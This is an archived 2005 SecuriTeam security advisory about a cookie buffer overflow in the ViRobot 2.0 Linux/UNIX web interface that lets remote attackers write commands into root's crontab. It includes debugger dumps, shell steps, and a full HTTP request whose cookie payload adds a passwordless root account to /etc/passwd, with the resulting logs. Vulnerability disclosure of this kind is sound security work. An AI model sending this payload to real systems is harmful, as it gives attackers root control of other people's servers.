

[UNIX] ViRobot Remote Code Inclusion

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0073.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/19/05

To: list@securiteam.com

Date: 19 Jun 2005 19:00:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ViRobot Remote Code Inclusion

SUMMARY

" <<http://www.hauri.net/>> ViRobot is a resource-thrifty scanner that lets you do a full scan quickly while you work. Scheduled scan and update wizards make it easy to keep your PC clean and your Antivirus protection up to date."

Flaws in ViRobot UNIX/Linux Server web user interface allows attackers to insert arbitrary code into the crontab process.

DETAILS

Vulnerable Systems:

- * ViRobot version 2.0

Both ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-based control interface. Access control is built into the system to ensure that only authorized personnel can have control of the server. Unfortunately the system makes use of cookie based authentication in an insecure manor.

During our trial run we found that the `/usr/local/ViRobot/cgi-bin/addschup` binary is vulnerable to a trivial remote exploit. The explanation of the

Securiteam: [UNIX] ViRobot Remote Code Inclusion

vulnerability will make use of multiple exported variables to simulate a remote request. The environmental conditions necessary to exploit addschup remotely is written below.

The fact that addschup is setuid helps make this both a local and remote root:

```
jdami:/usr/local/ViRobot/cgi-bin# ls -al addschup
-rwsr-sr-x 1 root staff 26484 2005-01-05 01:30 addschup
```

The variable should be set as following in order to behave as if a browser request was made:

```
kfinisterre@jdami:/tmp$ export REMOTE_ADDR=127.0.0.1
kfinisterre@jdami:/tmp$ export REQUEST_METHOD=POST
kfinisterre@jdami:/tmp$ export
CONTENT_TYPE=application/x-www-form-urlencoded
kfinisterre@jdami:/tmp$ export CONTENT_LENGTH=1
kfinisterre@jdami:/tmp$ export PATH=$PATH:/sbin:/usr/sbin
```

At this point the CGI binary should run however it will complain that is not authenticated.

< font size=2>You need to authenticate.

By using ltrace, it was discovered that the request for authentication is checked via a cookie with the parameters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS is no necessary for our exploit. For the time being we will set the ViRobot_ID to a string of 36 chars:

```
kfinisterre@jdami:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>
```

Because CONTENT_LENGTH is set to 1 earlier, the exploit will send at least one char to the stdin of the addschup binary. When addschup is satisfied with all environment of the variables and the input from stdin it will attempt to create a crontab file for root.

Since the program is running as a regular binary rather than as a CGI the output HTML that the web browser should receive is dumped to the terminal.

```
kfinisterre@jdami:/usr/local/ViRobot/cgi-bin$ echo a | ./addschup
Content-type:text/html
```

```
< HTML>
< HEAD></HEAD>
< BODY bgcolor=#FFFFFF text=#000000>
< META HTTP-EQUIV="REFRESH" CONTENT="0; url=/cgi-bin/schupdate">
</BODY>
</HTML>
```

In the above example ViRobot_ID is set to 36 chars. The setting exists in order to outline the basis of the vulnerability. As mentioned above addschup attempts to add the scheduled update to roots crontab in /var/spool/cron/root. Unfortunately the author of ViRobot made use of a small buffer to hold the username from the cookie data.

Securiteam: [UNIX] ViRobot Remote Code Inclusion

Because of this some of our userinput has spilled over into the buffer that is supposed to contain the entry that will be placed in the crontab file. The result as you can see is a string of four A's in roots crontab just before the vrupdate command.

The above example causes a root crontab entry with malicious userinput:
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin\$ cat /var/spool/cron/root
* * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1

The below output from gdb outlines the usage of a small 32 byte buffer to store the user name for ViRobot. The data stored in the username variable comes from the HTTP_COOKIE's ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding over into the install_path variable.

This is an example of a valid username stored in the username buffer:
0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa"
0x8052e1c <username+28>: ""
0x8052e1d <username+29>: ""
0x8052e1e <username+30>: ""
0x8052e1f <username+31>: ""
0x8052e20 <install_path>: "/usr/local"

This however shows an overflowed username bleeding into the install path.
0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa", 'A' <repeats 183 times>...
0x8052ec8 <install_path+168>: 'A' <repeats 200 times>...

Overflowing the install_path alone is not enough for exploitation. Lucky for us the install_path is used later on as a prefix for the crontab entry. This data shows what the cron entry looks like both before and after the overflow of the username field.

```
0x8052f70: " p\025@ p\025@* /usr/local/ViRobot/vrupdate -s > /dev/null 2>&1\n"  
0x8052f70: " p\025@ p\025@* AAAA/ViRobot/vrupdate -s > /dev/null 2>&1\n"
```

In essence what happens is that the attacker control the 6th parameter passed to an fprintf call that uses the following format.

```
0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"
```

Controlling the data that is written to roots crontab obviously gives us some flexibility for exploitation. Unfortunately we do not have any control over some of the crontab data however this does not pose any issue when exploiting the condition.

After writing the data to /var/spool/cron/root virobot executes the following commands:

```
killall crond > /dev/null  
/etc/rc.d/init.d/crond restart > /dev/null
```

Securiteam: [UNIX] ViRobot Remote Code Inclusion

If we combine the fact that we can write to roots crontab with the fact that this can all be done remotely we wind up with a nice exploit.

The above malformed queries can simply be sent via http with the following request:

```
POST /cgi-bin/addschup HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3)
Gecko/20041007 Debian/1.7.3-5
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 1
Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
```

The logs on the host being attacked will resemble the following:

```
in /usr/local/ViRobot/var/apache/access_log:
192.168.1.201 -- [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup
HTTP/1.1" 200 149
```

```
in /var/log/messages:
Jan 23 16:51:00 localhost crond: crond startup succeeded
```

```
in /var/log/cron:
Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)
Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65
min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70
min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75
min.
Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed
sequentially
Jan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)
Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
```

In /etc/passwd (per our example).

```
root::0:0:root:/root:/bin/bash
root::0:0:root:/root:/bin/bash
```

Securiteam: [UNIX] ViRobot Remote Code Inclusion

Keep in mind that output will be added every minute cron runs unless the attack has been cleaned up.

Please note that the addschup is not the only binary that overflows via the above mentioned method. addschup provided the best remote exploitation. Other binaries may provide other local or remote attack vectors.

Workaround:

Chmod -s every virobot binary in sight and filter remote access to the web interface.

ADDITIONAL INFORMATION

The information has been provided by

<mailto:kf_lists@digitalmunition.com> KF (lists).

The Exploit can be found at:

<<http://www.securiteam.com/exploits/5TPOC1FG1I.html>>

<http://www.securiteam.com/exploits/5TPOC1FG1I.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.